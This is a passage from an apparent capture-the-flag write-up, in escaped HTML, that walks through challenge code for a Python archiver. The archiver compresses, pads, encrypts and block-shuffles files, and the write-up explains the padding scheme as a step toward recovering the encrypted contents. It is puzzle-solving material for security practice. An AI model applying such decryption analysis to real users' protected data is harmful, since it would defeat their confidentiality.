class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eArchive\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eheader\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;L0LARCH\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003esize_limit\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1048576\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"fm\"\u003e__init__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eentries\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekeystore\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eKeyStore\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eadd_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pathlib.Path\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eArchiveEntry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eArchive\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize_limit\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eraise\u003c/span\u003e \u003cspan class=\"ne\"\u003eRuntimeError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e size is above the limit (\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eArchive\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esize_limit\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e)!\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eencrypted_archive_entry\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekeystore\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_encrypted_archive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eentries\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappend\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eencrypted_archive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;pathlib.Path\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eArchive\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheader\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;I\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eentries\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eencrypted_archive_entry\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eentries\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sa\"\u003ef\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;adding \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s1\"\u003e...\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eget_metadata\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eencrypted_contents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eencrypted_archive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;I\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypted_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eoutput\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eencrypted_contents\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoinpath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;archive\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite_bytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekeystore\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe can see that this is an archiver that encrypts its input files and stores its keys in a keystore.\u003c/p\u003e\n\u003cp\u003eIt's clear now that the names of the other two files that came with the challenge, \u003ccode\u003ea\u003c/code\u003e and \u003ccode\u003ek\u003c/code\u003e, correspond to \u003ccode\u003earchive\u003c/code\u003e and \u003ccode\u003ekeystore\u003c/code\u003e respectively.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eL0LARCH\\x00\u003c/code\u003e is the magic byte sequence that identifies the archive. Indeed, if we inspect the early bytes of our \u003ccode\u003ea\u003c/code\u003e file, we can see it starts with the expected byte sequence.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ head -c7 a\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eL0LARCH\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eAs with most encryption challenges, the best place to go for the information you need is the actual encryption code.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003earchive_entry\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;rb\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003econtents\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ecompressed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ezlib\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecompress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtents\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eencrypted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencryptor\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompressed\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e128\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eblocks\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypted\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e//\u003c/span\u003e \u003cspan class=\"mi\"\u003e128\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003enew_block_positions\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eblocks\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003erandom\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eshuffle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003enew_block_positions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleftside\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erightside\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003ezip\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eblocks\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e \u003cspan class=\"n\"\u003enew_block_positions\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emapping\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eleftside\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erightside\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003ex\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eencrypted\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e128\u003c/span\u003e\u003cspan class=\"p\"\u003e):((\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"mi\"\u003e128\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eblocks\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e([])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003er\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eblocks\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eb\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emapping\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e]]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eb\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe algorithm has three main parts.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe file contents are compressed, and padded to a 16-byte boundary.\u003c/li\u003e\n\u003cli\u003eThe compressed result is encrypted, and padded to a 128-byte boundary.\u003c/li\u003e\n\u003cli\u003eThe encrypted result is split up into 128-byte chunks and shuffled.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThe \u003ccode\u003epad\u003c/code\u003e function pads out its input to the specified number of bytes using a byte with the same value as the number of bytes that are needed to pad it out. Therefore, to unpad the string it's a case of removing the number of bytes from the end corresponding to the value of the final byte.\u003c/p\u003e\n\u003cp\u003eThis does mean that if the input already fits within the boundaries and no padding is needed, it will have to be padded to the full extent.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;utf8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x02\\x02\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;utf8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x04\\x04\\x04\\x04\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan 